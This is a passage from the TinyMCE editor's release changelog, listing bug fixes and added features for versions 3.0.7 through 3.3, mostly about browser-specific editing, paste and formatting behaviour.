bug where the caret would become invisible if you resized the editor in latest Gecko. - Fixed bug where the class attribute wasn't completely removed in IE 6/7 when the removeClass function was used. - Fixed so the matchNode method of the Formatter class returns the matched format rule. - Fixed so it's possible to apply formatting to both blocks and as inline elements. -Version 3.3 (2010-03-10) - Fixed bug where backspace on a table on IE would produce an empty tbody and some JS exceptions. - Fixed bug where some redundant children wasn't removed properly when applying inline styles to them. - Fixed bug where Chrome would produce incorect dialog sizes if the inlinepopups plugin wasn't used. - Fixed bug where spans with different classes would get merged if they where siblings to each other. - Fixed bug where IE 8 would crash if you used the spellchecker. - Fixed bug where Input Method for non western languages didn't work correctly. - Fixed bug where the UI would render incorrectly in FF 3.6 on Mac due to a bug n their rendering engine. - Fixed bug where WebKit wouldn't scroll down correctly if Shift+Enter was used. Patch contributed by Thomas Andersen. -Version 3.3rc1 (2010-02-23) - Fixed bug with new legacyoutput plugin not working correctly on it's own. - Fixed bug some performance issues with removing text formats. - Fixed bug where TinyMCE specific attributes wasn't removed properly by remove format. - Fixed bug where it wasn't possible to align images within inline elements. - Fixed bug where Ctrl+Delete/Backspace would produce an invalid argument exception on IE. - Fixed bug where the search/replace logic could produce an infinite loop on IE for reverse searches. - Fixed bug where cloning formats in cells didn't work properly on IE. - Fixed bug where IE6 would produce a horizontal scroll bar. - Fixed so remove jQuery method removes the TinyMCE instance as well as the specified textarea. - Fixed so selected rows and cells gets updated using the row/cell properties dialogs. -Version 3.3b2 (2010-02-04) - Fixed bug where sometimes img elements would be removed by split method in DOMUtils. - Fixed bug where merging of span elements could occur on bookmark nodes. - Fixed bug where classes wasn't properly removed when removeformat was used on IE 6. - Fixed bug where multiple calls to an tinyMCE.init with mode set to exact could produce the same unique ID. - Fixed bug with the IE selection implementation when it was feeded an document range. - Fixed bug where block elements formatting wasn't properly removed by removeformat on all browsers. - Fixed bug where selection location was lost if you performed a manual cleanup. - Fixed bug where removeformat wouldn't remove span elements within styled block elements. - Fixed bug where an error would be thrown if you clicked on the separator lines in menus. - Fixed bug with the jQuery plugin adding always adding a querystring value to other resources. - Fixed bug where IE would produce an error message if you had an empty editor instance. - Fixed bug where Shift+Enter didn't produce br elements on WebKit browsers. - Fixed bug where a temporary marker element wasn't removed by the paste plugin. - Fixed bug where inserting a table would produce two undo levels instead of one. -Version 3.3b1 (2010-01-25) - Added new text formatting engine. Fixes a lot of browser quirks and adds new possibilities. - Added new advlist plugin that enables you to set the formats of list elements. - Added new paste plugin logic that enables you to retain style information from Office. - Added new autosave plugin logic that automatically saves contents in local storage. - Added new valid_styles option. Adds the possibility to restrict styles and their order. - Added new theme_advanced_runtime_fontsize option to display the runtime font size in font size select box. - Added new jquery plugin version that handles the gzip compressor amongst other things. Contributed by Speednet. - Added new $ function to tinymce namespace and editor instances for the jQuery build. - Added the possibility to get editors by index as well as name in the tinyMCE.editors collection. - Fixed so the contents inside the editor renders in standards mode by default. - Fixed bug where it wasn't possible to move the caret on short documents running in standards mode on IE. - Fixed bug where the decode method of the DOMUtils class could end up in an endless loop. - Fixed bug where it was possible to bypass the paste cleanup on non IE browsers if you clicked while pasting. - Fixed bug where some attributes wasn't serialized correctly on IE if wildcard attribute patters where used. - Fixed bug where entity decoding was performed on strings that didn't have any valid entities in them. - Fixed bugs with the insertNode method of the IE DOMRange implementation. Patch contributed by Scott McNaught. - Rewrote the getBookmark/moveToBookmark selection logic to boost performance on larger documents. - Rewrote the table plugin to include new cell selection logic and fixed various bugs and issues. - Merged the tinyMCE, tinymce and tinymce.EditorManager into the same instance makes more sense. - Removed browser setting since the browser support for TinyMCE is not far better than it was when that setting was introduced. - Changed the mce_ attribute prefix to the more standard _mce_ prefix. This is similar to browser vendors prefixes. - Optimized performance with named entities on Gecko. Regexp replace was executing very slowly probably due to a Gecko bug. - Optimized performance of the IE specific selection/range implementation. - Removed the safari plugin since we now replaced all text formatting logic to custom code. -Version 3.2.7 (2009-09-22) - Fixed bug where uppercase paragraphs could still produce an invalid DOM tree on IE. - Fixed bug where split command didn't work on WebKit since the node serializer needs a real document to work with. - Fixed bug where it was impossible in Gecko to place the caret before a table if it was the first one. - Fixed bug where linking to urls like ../../ would produce an extra traling slash ../..//. - Fixed bug where the template cdate functionality was using an old 2.x API call. Patch contributed by vectorjohn. - Fixed bug where urls to the same site but different protocol would be converted when relative_urls where set to false. Patch contributed by Ted Rust. - Fixed bug where the paste plugin would remove mceItem prefixed classes. - Fixed bug where the paste plugin would sometimes add items in a reverse order on WebKit. - Fixed bug where the paste buttons would present an error message on Gecko even if you changed user.js. Patch contributed by Todd (teeaykay). - Fixed bug where Opera would crash if you had tables incorrectly placed inside paragraphs. - Fixed bug where styles elements wasn't properly processed if you had bad input HTML. - Fixed bug where style attributes wasn't properly forced into a specific format. - Fixed bug and issues with boolean attributes like checked, nowrap etc. - Fixed bug where input elements could override attributes on form elements. - Fixed bug where script or style elements could get modified by the DOMUtils processHTML method. - Fixed bug where the selected attribute could get lost when force root blocks logic got executed on IE. Patch contributed by Attila Mezei-Horvati. - Fixed bug where getAttribs method didn't handle boolean attributes correctly on IE. - Fixed so the paste from word dialog is presented if you paste content on an IE with to restrictive security settings. - Fixed so the paste_strip_class_attributes option is set to none by default in the paste plugin. - Removed default border=0 on tables for the default value of valid_elements. -Version 3.2.6 (2009-08-19) - Added new wordcount plugin, this will display the number of typed words as you write. Contributed by Andrew Ozz. - Added new getNext and getPrev methods to DOM utils. These will return the first matching sibling. - Fixed bug where it was impossible to place the caret after a table on Gecko. It will now add a paragraph after tables. - Fixed bug where inline dialogs would fail if used in a window opened using a showModalDialog. Patch contributed by Derek Britt. - Fixed bug where IE could sometimes render a unknown runtime error on invalid input HTML. - Fixed bug where some incorrectly placed tables wouldn't be moved outside the paragraphs on IE. - Fixed bug where uppercase script/style element wouldn't be handled correctly and converted to valid lowercase. - Fixed bug where some WebKit versions on Mac OS X would produce issues with hidden select fields. - Fixed bug where the media plugin would fail on WebKit since the node wasn't properly imported to the right document. - Fixed bug where absolute URLs for the TinyMCE script using a base href element would cause loading problems in IE 6/7. - Fixed bug where pasting using the paste plugin wasn't possible on IE with to restrictive security settings. - Fixed bug where pasting of whitespace was impossible using the new custom paste method. - Fixed bug where pasting on some WebKit browsers would not work if you pasted specific contents due to a WebKit bug. - Fixed bug where doctypes with multiple lines would not be parsed correctly by the fullpage plugin. Patch contributed by Colin. - Fixed bug where the autoresize plugin would break the fullscreen functionality. - Fixed bug where tables would be chopped up running on IE using invalid contents and pasting paragraphs into a cell. - Fixed bug where the each method of jQuery build didn't iterate styleSheets. We now use the TinyMCE API one instead. - Fixed bug where auto switching to paragraphs after headers some times failed in Gecko. - Fixed so all editor options gets passed to the Serializer class. Patch contributed by Jasper Mattsson. - Fixed so script/style blocks isn't wrapped in paragraphs as other inline elements. - Fixed so the XHR requests sends the X-Requested-With HTTP header. - Fixed so the data url scheme is handled in the tinymce.util.URI class. - Changed inline documentation to use moxiedoc style comments. - Removed the compat2x plugin people should have upgraded to the 3.x API by now. 3.0 was released more then a year ago. - Re-added Gecko specific message for users who doesn't understand the security concept regarding paste. -Version 3.2.5 (2009-06-29) - Added new jQuery plugin for the jQuery specific package. This enables you to more easily load and use TinyMCE. - Added new autoresize plugin contributed by Peter Dekkers. This plugin will auto resize the editor to the size of the contents. - Fixed so all packages have the same directory structure. Previous releases had a different structure for the production package. - Fixed so the paste from word dialog forces the contents to be processed as word contents even if it's not. - Fixed so the jQuery build adapter build works. It's currently only excluding Sizzle. - Fixed so noscript element contents is retained during the editing process. - Fixed bug where the getBookmark method would need a "simple" string input when the documented way is a boolean. - Fixed bug where invalid contents could break the fix_table_elements logic. - Fixed bug where Sizzle specific attributes would be serialized if the valid_elements was set to *[*]. - Fixed bug where IE would produce an error if you specified a relative content_css and opened the paste dialog. - Fixed bug where pasting images on IE would produce broken images if they came from an external site. - Fixed bug where memory was leaked if you add/remove controls dynamically. Some event handlers wasn't removed properly. - Fixed bug where domain relaxing wasn't treated correctly if you added it after the TinyMCE script element. - Fixed bug where the activeEditor wasn't set to null if the last editor instance was removed. - Fixed bug where IE was leaking memory on the onbeforeunload event due to some recently introduced logic. Patch contributed by Options. - Fixed bug where inserting tables in Safari 4 didn't work due to a new WebKit bug where some element names are reserved. - Fixed bug where URLs having a :// value in the query string would make it absolute regardless of URL settings. - Fixed the WebKit specific bug where DOM Ranges would fail if the node wasn't attached to something in a different way. - Removed the auto_resize option and the resizeToContent method from the tinymce.Editor class. Use the new autoresize plugin instead. -Version 3.2.4.1 (2009-05-25) - Fixed bug where Gecko browsers would produce an extra space after for example strong when loaded from sub domains. - Fixed bug where script elements would be removed if they where placed inside a paragraph element. - Fixed bug where IE 8 would produce 1 item remaining when loading CSS files dynamically with an empty cache. - Fixed bug where bound events would be removed from other editor instances if a specific one was removed. - Fixed various bugs and issues with script and style elements inside the editor. - Fixed so all script contents gets wrapped in CDATA sections so that they can be parsed using a XML parser. - Fixed so it's impossible for elements marked as closed to have child nodes rendered in output. -Version 3.2.4 (2009-05-21) - Added new paste_remove_styles/paste_remove_styles_if_webkit option to paste plugin concept contributed by Hadrien Gardeur. - Added new functionality to paste plugin contributed by Scott Eade aka monkeybrain. - Added new paste_block_drop option to the paste plugin this is disabled by default and will block any drag/drop event. - Added new bind/unbind methods to DOMUtils these works like Event.add/Event.remove but is easier to access. - Added new paste_dialog_width/paste_dialog_height options to paste pluign. Enables you to change the dialog sizes. - Fixed bug on IE 8 where it would sometimes produce a "1 item remaining" status message that would never finish. - Fixed bug on Safari 4 beta that would produce DOM Range exceptions on the DOMUtils split method since the browser has a bug. - Fixed bug where the paste plugin could accidentally think that some word sentences was supposed to be list elements. - Fixed bug where paste plugin would produce one extra empty undo level on some browsers. - Fixed bug where spans wasn't produced correctly on new line when the keep_styles option was enabled. - Fixed bug where the caret would be placed at the beginning of contents in IE 8 if you selected colors from the color pickers. - Fixed so the Event class is a normal class instead of a static one. The tinymce.dom.Event is now a global instance of that class. - Fixed so internal events for instances gets removed when the DOMUtils instance is removed. - Fixed so preventDefault and stopPropagation methods can be used on the event object in all browsers. -Version 3.2.3.1 (2009-05-05) - Fixed bug where paragraphs containing form elements such as input or textarea would be removed. - Fixed bug where some IE versions would produce a wrapper function for events attributes. - Fixed bug where table cell contents could be removed if you pressed return/enter at the end of the cell contents. - Fixed bug where the paste plugin would remove a extra character if the selection range was collapsed. - Fixed bug where creating tables with % width wouldn't be handled correctly on WebKit browsers. -Version 3.2.3 (2009-04-23) - Added new paste plugin logic. This new version will autodetect Word contents and clean it up. - Added a optional root element argument to getPos so you can tell it where to stop the calculation. - Added new DOM ready logic to remove the usage of document.write. We now use basically the same method as jQuery. - Fixed bug where WebKit browsers would fail when selecting all contents in the area using Ctrl+A. - Fixed bug where IE would produce paragraphs with empty inline style elements. - Fixed bug where WebKit browsers would fail when inserting tables with a non pixel width. - Fixed bug where block elements could get a redundant br element at the end of the element. - Fixed bug where the tabfocus plugin only worked with a single editor instance on page. - Fixed bug where IE 8 was loosing caret position if the selection was collapsed and a menu was clicked. - Fixed bug with application/xhtml+xml mode where menus wasn't working properly. - Fixed bug where the onstop workaround fix for IE would produce errors in an ASP update panel. - Fixed bug where the submit function override could produce errors if executed in the wrong scope. - Fixed bug where the area element wasn't closed by a short ending. - Fixed various number issues in the style plugins properties dialog. Contributed by datpaulchen. - Fixed issues with size suffix values in the style plugin dialog. - Fixed issue where hasDuplicate variable would leak out to the global space due to a bug in the Sizzle engine. - Fixed issue where the paste event would fire a dialog warning on IE since we extracted the text contents. - Updated Sizzle engine to the latest version, this version fixes a few bugs that was reported. -Version 3.2.2.3 (2009-03-26) - Fixed regression bug with the getPos method, it would return invalid if the view port was to small. -Version 3.2.2.2 (2009-03-25) - Fixed so the DOMUtils getPos method can be used cross documents if needed. - Fixed bug where undo/redo wasn't working correctly in Gecko browsers. -Version 3.2.2.1 (2009-03-19) - Added support for tel: URL prefixes. Even though this doesn't match any official RFC. - Fixed so the select method of the Selection class selects the first best suitable contents. - Fixed bug where the regexps for www. prefixes for link and advlink dialogs would match wwwX. - Fixed bug where the preview dialog would fail to open if the content_css wasn't defined. Patch contributed by David Bildström (ChronoZ). - Fixed bug where editors wasn't converted in application/xhtml+xml mode due to an issue with Sizzle. - Fixed bug where alignment would fail if multiple lines where selected. - Updated Sizzle engine to the latest version, this version fixes a few bugs that was reported. -Version 3.2.2 (2009-03-05) - Added new CSS selector engine. Sizzle the same one that jQuery and other libraries are using. - Added new is and getParents methods to the DOMUtils class. These use the new Sizzle engine to select elements. - Added new removeformat_selector option, enables you to specify a CSS selector pattern of elements to remove when using removeformat. - Fixed so the getParent method can take CSS expressions when selecting it's parents. - Added new ant based build process, includes a new javabased preprocessor and a yuicompressor ant task. - Moved the tab_focus logic into a plugin called tabfocus, so the old tab_focus option has been removed from the core. - Replaced the TinyMCE custom unit testing framework with Qunit and rewrote all tests to match the new logic. - Moved the examples/testcases to a root directory called tests since it now includes slickspeed. - Fixed bug where nbsp wasn't replaced correctly in ForceBlocks.js. Patch contributed by thorn. - Fixed bug where an dom exception would be thrown in Gecko when the theme_advanced_path path was set to false under xml application mode. - Fixed bug where it was impossible to get out of a link at the end of a block element in Gecko. - Fixed bug where the latest WebKit nightly would fail when changing font size and font family. - Fixed bug where the latest WebKit nightly would fail when opening dialogs due to changes to the arguments object. - Fixed bug where paragraphs wasn't added to elements positioned absolute using classes. - Fixed bug where font size values with dot's like 1.4em would produce a class instead of the style value. - Fixed bug where IE 8 would return an incorrect position for elements. - Fixed bug where IE 8 would render colorpicker/filepicker icons incorrectly. - Fixed bug where trailing slashes for directories in URLs would be removed. - Fixed bug where autostart and other boolean values in the media dialog wouldn't be stored/parsed correctly. - Fixed bug where the repaint call for the media plugin wouldn't be executed due to a typo in the source. - Fixed bug where id attribute of object elements wasn't kept intact by the media plugin. - Fixed bug where preview of embeded elements when the media_use_script option was used would fail. - Fixed bug where inlinepopups could be rendered at an incorrect location on IE 6 while dragging. - Fixed bug where the blocker shim could be placed at an incorrect location on IE 6. - Fixed bug where the multiple and size attributes of select elements would produce incorrect values while running in IE. - Fixed bug where IE would loose the caret position is you selected a color from the color drop down. - Fixed bug where remove format wouldn't work on IE since it couldn't remove span elements that had style information. - Fixed bug where Opera was removing links when removing formatting from selected contents. - Fixed bug where paragraphs could be produced inside non positional elements styled with the CSS position value of static. - Fixed bug where removeformat wouldn't work if you selected part of a span in IE. - Fixed bug where media plugin didn't retain the style attribute on embed/object elements. - Fixed bug where auto focus on empty editor instances could produce strange results if you inserted an image into it. - Fixed bug where &nbsp; characters would be removed in FF when inserted with the mceInsertContent or selection.setContent methods. - Fixed bug where warning message of missing paste support wasn't displayed on WebKit browsers. - Fixed bug where anchor links could include other links. The selected range is now unlinked before adding news links to it. - Fixed memory leak when TinyMCE was used with prototype. Patch contributed by James Ots. - Fixed so the non documented fullpage_hide_in_source_view option for the fullpage plugin works again in the 3.x branch. - Fixed so tables doesn't get inserted into paragraphs by default since it's not W3C valid. Can be disabled by using the fix_table_elements option. - Fixed so the source view dialog sets a source_view state to the event object. Enables plugins to intercept the source view mode. - Fixed various validation issues with the html dialogs and pages. - Removed ask mode option since there is way better ways of doing this now. Use the add/remove control methods instead. - Removed logic for compatibility with Safari 2.x, this browser is no longer supported since no one is using it. - Removed the auto domain relaxing feature. If loading scripts cross sub domains it's better to specify the document.domain by hand. -Version 3.2.1.1 (2008-11-27) - Added new theme_advanced_default_background_color/theme_advanced_default_foreground_color options. Patch contributed by David Bildström (ChronoZ). - Fixed font style formatting compatibility issue with Adobe Air. - Fixed so legacy font elements get converted into spans even if cleanup_on_startup isn't enabled. - Fixed bug where pre elements could be incorrectly modified by an IE bug workaround. Patch contributed by hu vime. - Fixed bug where input elements inside inlinepopups wasn't editable in Firefox 2. - Fixed bug where the xhtmlxtras plugin wasn't replacing attribute values correctly. - Fixed bug where menu buttons in skin variants would look strange due to IE 8 fixes. - Fixed bug where WebKit browsers would on backspace take you back to the previous page if the editor was empty. - Fixed bug where DOMUtils decode method wouldn't handle strings larger than 4096kb due to node chunking. - Fixed bug where meta key wasn't handled as ctrl key on Mac OS X for custom keyboard short cuts. - Fixed bug where init event would get fired twice on WebKit on Mac OS X. -Version 3.2.1 (2008-11-04) - Added support for custom icon image for drop menus. Use icon_src to set a custom image directly. - Added new media_strict option to media plugin. Enables you to control if the flash embed is strict or not. Enabled by default. - Fixed so the editors script files gets dynamically loaded without using XHR or eval. - Fixed so the media plugin outputs valid XHTML object elements for Flash movies. Can be disabled with the media_strict option. - Fixed so dynamic loading doesn't require eval calls on non IE browsers for better Air support. - Fixed bug where the editor wasn't treated as empty if the remaining paragraph had attributes. - Fixed bug where id's of elements was removed ones they got wrapped in paragraphs. Patch contributed by ChronoZ. - Fixed bug where WebKit browsers where placing list elements inside paragraph elements. - Fixed bug where inserting images or links would produce absolute urls on WebKit browsers. - Fixed bug where values for checked, readonly, disabled and selected attributes was incorrect on IE. - Fixed bug where positive values for checked, readonly, disabled and selected attributes wasn't forced to valid values. - Fixed bug where selecting the first option in a native select box would produce an undefined error. - Fixed bug where tabindex 32768 could be outputted on IE if element attributes where cloned. - Fixed bug where the media dialogs preview window would display incorrect contents due to duplicate clsid prefixes. - Fixed bug where non pixel or percent heights for textarea elements would produce errors on IE. - Fixed bug where cdata sections in script elements wasn't handled correctly. - Fixed bug where nowrap of table cells would produce a 65535 value output. - Fixed bug where media plugin would produce an error if you selected the first item in the items list. - Fixed bug where media plugin would modify links with the item _value in them. - Fixed so table width/height is better forced if inline_styles is enabled. Patch contributed by daKmoR. - Fixed css for IE 8 such as opacity and other rendering quirks. -Version 3.2.0.2 (2008-10-02) - Fixed bug where the SelectBox and NativeSelectBox wasn't updated correctly if undefined was passed to them. - Fixed bug where the style dropdown wasn't correctly changed back to it's original state when element had no class. - Fixed bug where multiple pending font styles wasn't handled correctly. - Fixed so you can disable all auto css loading for dialogs by setting the popups_css option to false. -Version 3.2.0.1 (2008-09-17) - Fixed bug where font sizes and faces wouldn't be changed correctly when there was a parent with a different style. - Fixed bug where adding fonts to the same selection would produce redundant spans. -Version 3.2 (2008-09-11) - Added new text style support, it will now use span elements internally instead of font elements. - Added new improved support for the theme_advanced_font_sizes option, check the Wiki for details. - Added new keep_style setting that maintains the text style on return/enter on non IE browsers, enabled by default. - Added new onBeforeSetContent/onBeforeGetContent/onSetContent/onGetContent events to the Selection class. - Added new selectByIndex method to ListBox class. This enables you to select list items by an index instead of a value. - Added new possibility to the select method of the ListBox class. This can now have a selector function as it's value argument. - Added new possibility to skip the loading of popups css by setting the feature popup_css to the value false. - Added new possibility to skip translation of popups by setting the translate_i18n feature to false. - Added new element_format option enables you to produce HTML element endings instead of XHTML. But we are still in the XHTML is better camp. - Added missing allowfullscreen and quality options for flash elements, this will now get correctly stored. - Fixed bug where table cell dialog didn't close properly unless the accessibility_warnings option was set to false. - Fixed bug where the modal dialog blocker element for inlinepopups wasn't placed at a correct location if the page had scroll. - Fixed bug where non inline dialogs didn't close correctly if the inlinepopups plugin was used. - Fixed bug where non inline dialogs could make the modal dialog blocker to work incorrectly. - Fixed bug where style select wasn't populated correctly if you pressed the arrow. Patch by Hari Karam Singh. - Fixed bug where toggling the fullscreen mode didn't restore scrollbars on IE when the editor was inside a frame. Patch by Jacob Barrett. - Fixed bug where inserting flash contents using the template plugin didn't work correctly. - Fixed bug where inserting flash contents using the selection.setContent or mceInsertContent command didn't work correctly. - Fixed bug where IE would produce an exception if a comment started with -. - Fixed bug where the blockquote button would wrap lists incorrectly on non IE browsers. - Fixed bug where Opera would display BR elements in the element path. - Fixed bug where xhtmlxtras didn't insert elements correctly on IE. - Fixed bug where the buttons wasn't activated correctly in the xhtmlxtras plugin. - Fixed bug where adding an object as the style attribute for the dom setAttribs method wouldn't work. - Fixed bug where the background color would bleed out to parent container element in Gecko. - Fixed bug where the insert column actions for tables would fail if you did it in a thead or tfoot. Patch contributed by T Andersen (tan73). - Fixed bug where event blocker element wasn't positioned correctly for the inlinepopups plugin. - Fixed bug where pasting from Office 2007 would produce an odd comment in the contents. - Fixed bug where the paste as plain text could remove an extra character. Patch contributed by Speednet. - Fixed bug where some characters where missing for the paste_replace_list option. Patch contributed by Speednet. - Fixed bug where removing non existing editor instances by the mceRemoveControl command would produce an error. - Fixed bug where meta elements with the name description would produce errors in IE. - Fixed bug where color and background colors wouldn't be updated properly. - Fixed bug where the createMenuButton of tinymce.ControlManager didn't implement the last class argument. - Fixed bug where the editor_css option was relative from the TinyMCE installation directory not the current page. - Fixed bug where elements wouldn't be padded if the element contained bogus br elements. For example TD elements. - Fixed bug where parsing of <body > in fullpage plugin would produce an error. - Fixed bug where relative urls with just ./ would become an empty string. - Fixed bug where outdent button would be disabled if inline_styles where set to false. - Fixed bug where replace with an empty search string would produce an error on IE. - Fixed bug where restoring the overflow state of the body in fullscreen plugin running on IE would produce vertical scrollbars. - Fixed bug where pressing return/enter in list items would sometimes move the caret the to top of the content area in FF. - Fixed bug where the style listbox wouldn't be updated correctly if you used the use_native_selects option. - Fixed bug where WebKit browsers would produce a div element when ending list elements using return. - Fixed so translation of popup contents only occurs if it's needed. - Optimized the URI object in regards or converting absolute URIs to relative URIs. -Version 3.1.1 (2008-08-18) - Added new getSize method to DOMUtils it will return the dimensions only of an element. - Added new alert/confirm methods to the tinyMCEPopup class to prevent focus problems and also to shorten method calls. - Added new plugin_preview_inline option to preview plugin to enable/disable native/inline dialogs. - Added new readonly option. If this is set the editor will only display the contents for the user. - Added missing tabindex and accesskey to input elements in the default valid_elements setup. - Updated firebug lite to 1.2, to enable it use the tiny_mce_dev.js?debug=1 on the development package. - Fixed so the preview dialog in the preview plugin uses inline dialogs/popups. - Fixed so CDATA sections remains intact through the serialization process of the DOM tree. - Fixed various issues with the getAttrib command. It will now return more correct values. - Fixed bug where the embed element wasn't properly parsed in the media plugin it now supports 3 formats. - Fixed bug where the noshade attribute was serialized incorrectly on IE. - Fixed bug where editing an existing link element didn't force it relative. - Fixed bug where image link creation fails on Safari if the image is aligned. - Fixed bug where it was possible to scroll the fullscreen mode in Opera 9.50. - Fixed bug where removal of center image alignment would fail. Patch contributed by Andrew Ozz. - Fixed bug where inlinedialogs didn't work properly if the doctype was incorrect in IE. - Fixed bug where cross domain loading didn't work correctly in Opera 9.50. - Fixed bug where breaking huge text blocks with return/enter key would scroll to end of block. - Fixed bug where replace button kept inserting the replacement text even if there is no more matches. - Fixed bug with fullpage plugin where value wasn't set correctly. Patch contributed by Pascal Chantelois. - Fixed bug where the dom utils setAttrib method call could produce an exception if the input was null/false. - Fixed bug where pressing backspace would sometimes remove one extra character in Gecko browsers. - Fixed bug where the native confirm/alert boxes would move focus to parent document if fired in dialogs. - Fixed bug where Opera 9.50 was telling you that the selection is collapsed even when it isn't. - Fixed bug where mceInsertContent would break up existing elements in Opera and Gecko. - Fixed bug where TinyMCE fails to detect some keyboard combos on Mac, contributed by MattyRob. - Fixed bug where replace all didn't move the caret to beginning of text before searching. - Fixed bug where the oninit callback wasn't executed correctly when the strict_loading_mode option was used, thanks goes to Nicholas Oxhoej. - Fixed bug where a access denied exception was thrown if some other script specified document.domain before loading TinyMCE. - Fixed so setting language to empty string will skip language loading if translations are made by some backend. - Fixed so dialog_type is automatically modal if you use the inlinepopups plugin use dialog_type : "window" to re-enable the old behavior. -Version 3.1.0.1 (2008-06-18) - Fixed bug where the Opera line break fix didn't work correctly on Mac OS X and Unix. - Fixed bug where IE was producing the default value the maxlength attribute of input elements. -Version 3.1.0 (2008-06-17) - Fixed bug where the paste as text didn't work correctly it encoded produced paragraphs and br elements. - Fixed bug where embed element in XHTML style didn't work correctly in the media plugin. - Fixed bug where style elements was forced empty in IE. The will now be wrapped in a comment just like script elements. - Fixed bug where some script elements wrapped in CDATA could fail to be serialized correctly. - Fixed bug where FF 3 produced -moz- internal styles in some style attributes. - Fixed bug where query strings and external URLs didn't work correctly in style attributes. - Fixed bug where shape attribute of area elements got serialized as rect regardless of it's initial value in IE 6. - Fixed bug where selection of elements inside layers would fail in IE since focus was moved to the document body. - Fixed bug where pressing enter/return in an editable select box would produce an __mce_add_custom__ class value. - Fixed bug where changing font size of text placed inside a colored text chunk would remove the parent node. - Fixed bug where Opera 9.5 final produced a strange line break behavior due to a workaround for previous Opera versions. - Fixed bug where text/background color would produce a strange focus problem when you tried to click on the body in IE. - Fixed issue where selecting the title of an listbox equals the old 2.x behavior of changing the value to an empty string. - Fixed issue where it was common for the media plugin to break if the _value attribute wasn't added for the param element. - Fixed issue where the wrong parent editor instance might be updated if you use fullscreen mode in an incorrect way. - Fixed issue where Safari was producing a warning about the base element not being closed correctly. - Removed redundant form element name matching from regexp in the DOMUtils class. -Version 3.0.9 (2008-06-02) - Added new contextmenu_offset_x/contextmenu_offset_y options for the contextmenu plugin. - Added cite attribute to the default rule for the blockquote element. - Added support for using arrow keys for selection of items in listboxes. - Added support for using arrow keys for selection of items in dropmenus. - Fixed bug where blockformat change on elements with BR inside them didn't change correctly on Firefox. - Fixed bug where removing table rows inside thead or tfoot would remove the whole table if it was the last one. - Fixed bug where XHR synchronous mode didn't execute the callback handlers synchronously. - Fixed bug where setting border to 0 didn't add border: 0 to the style attribute when using the advimage dialog. - Fixed bug where the selection of images and table cells didn't work correctly when the editor is placed in a frame and running on IE. - Fixed bug where the store/restore of a selection didn't work correctly in non IE browsers. - Fixed bug where only the first element would be invalid for the invalid_elements option. - Fixed bug where paste as plain text didn't encode the characters correctly when they where inserted. - Fixed bug where HTML source window couldn't be maximized on Gecko when the maximizable feature was enabled. - Fixed bug where color selection using the color picker could produce exception in IE. - Fixed bug where font size changes could produce produce extra redundant elements. - Fixed bug where IE could produce unknown runtime error if you replaced a image with another image from a separate frame. - Fixed bug where the domLoaded state for the Event class wasn't set correctly if the editor was loaded dynamically using the gzip compressor. - Fixed bug where handling of the base element for a page would produce incorrect urls. Based on a patch contributed by John LeSueur. - Fixed bug where table constraint alert boxes was presented with an empty value and wasn't the skinned inline ones. - Fixed bug where the onChange event wasn't fired when the form was submitted. It's now also triggered when the save method is called. - Fixed bug where encoding set to xml didn't work as expected. It now encodes the contents into XML entities. - Fixed bug where numrows didn't work correctly for the merge cells dialog of the table plugin. - Fixed bug where the onGetContent event was fired even when the no_events flag was set. - Fixed bug where the preview panels for the advimage and the media plugin could overflow on Safari and FF 3. - Fixed bug where the editing and removal of abbr elements using the xhtmlxtras plugin working correctly on IE. - Fixed bug where save button in the save plugin didn't work correctly on IE. - Fixed bug where dragging layers didn't work as expected since it would snap back to it's original location if you saved. - Fixed bug where the description of the template plugin dialog wasn't updated correctly. - Fixed bug where the values for frame and rules in the table dialogs where swapped. - Fixed bug where the elements like ins, del, cite, acronym and abbr didn't have the default editing style as the old 2.x branch. - Fixed bug where ask mode would lock the focused textarea if you pressed cancel in the confirm dialog on FF 3. - Fixed bug where ask mode would produce contents for empty textareas if you reloaded the page. - Fixed so the onGetContent event gets the full pass through object just like the other events. - Fixed so attributes for block elements remains the same when you change format of a element. -Version 3.0.8 (2008-04-30) - Fixed bug where IE would produce an error if textareas without names where converted. - Fixed bug where editor wasn't forced empty when there was only a single br or empty paragraph left. - Fixed bug where IE would produce an warning message if object elements where produced in the media plugins preview running on https. - Fixed bug where new addVer function didn't handle hash items correctly. Patch contributed by Mirek Burkon. - Fixed bug where font_size_style_values option wasn't applied correctly to fonts inside the editor. - Fixed bug where image selection could be lost if a image was edited using context menu on IE. - Fixed bug where style values wasn't updated properly due to an invalid regexp. - Fixed bug where IE 6 where displaying warning message about insecure items when inserting an image while using https. Patch contributed by Norifumi Sunaoka. - Fixed bug where IE was producing an auto save message if you selected a color from the color split button. - Fixed bug where backspace sometimes would move the caret to the end of the previous block in Gecko. - Fixed bug where the rowlayout manager didn't work as described in the documentation. - Fixed bug where the default options for the fullpage plugin wasn't applied correctly. - Fixed bug where selection would jump one character if you applied a styles to a words in non IE browsers. - Fixed bug where undo levels wasn't added correctly if you went back in undo history and added a new event. - Fixed bug where font size dropdown didn't mark the selected size in IE. - Fixed bug where the size of the editor was determined using clientWidth instead of offsetWidth. - Fixed so the onchange event doesn't fire on the initial undo level, it will also fire when the editor is blurred. - Fixed so the advhr plugin produces XHTML valid output instead of non standard attributes. - Fixed so blockquote gets converted into [quote] in when the bbcode plugin is enabled. - Fixed so theme_advanced_font_sizes can be named for example Font 1=1, Font 2=2 etc. - Fixed so editor_selector/editor_deselector can be regexps. By default only strings are allowed not part regexps like before. - Fixed so that the version suffix is optional. It still requires the build process so you need to export it manually. - Fixed so it's possible to tab to table cells in non Gecko browsers and also produce new rows if you tab at the end of a table. Contributed by Josh Peek. -Version 3.0.7 (2008-04-14) - Added new version suffix to all internal GET requests to make sure that the users cache gets cleared correctly. - Fixed issue with isDirty returning true event if it wasn't dirty on IE due to changes in tables during initialization. - Fixed memory leak in IE where if a page was unloaded before all images on the page was loaded it would leak. - Fixed bug in IE where underline and strikethrough could produce an exception error message. - Fixed bug where inserting paragraphs in totally empty table cells would produce odd effects. - Fixed bug where layer style data wasn't updated correctly due to some performance enhancements with the DOM serializer. - Fixed bug where it would convert the wrong element if there was two elements with the same name and id on the page. - Fixed bug where it was possible to add style information to the body element using the style plugin. - Fixed bug where Gecko would add an extra undo level some times due to the blur event. - Fixed bug where the underline icon would get active if the caret was inside a link element. - Fixed bug where merging th cells not working correctly. Patch contributed by André R. - Fixed bug where forecolorpicker and backcolorpicker buttons where rendered incorrectly when the o2k7 skin was used. - Fixed bug where comment couldn't contain -- since it's invalid markup. It will now at least not break on those invalid comments. - Fixed bug where apos wasn't handled correctly in IE. It will now convert apos to &#39; on IE since that browser doesn't support that entity. - Fixed bug where entities wasn't encoded correctly 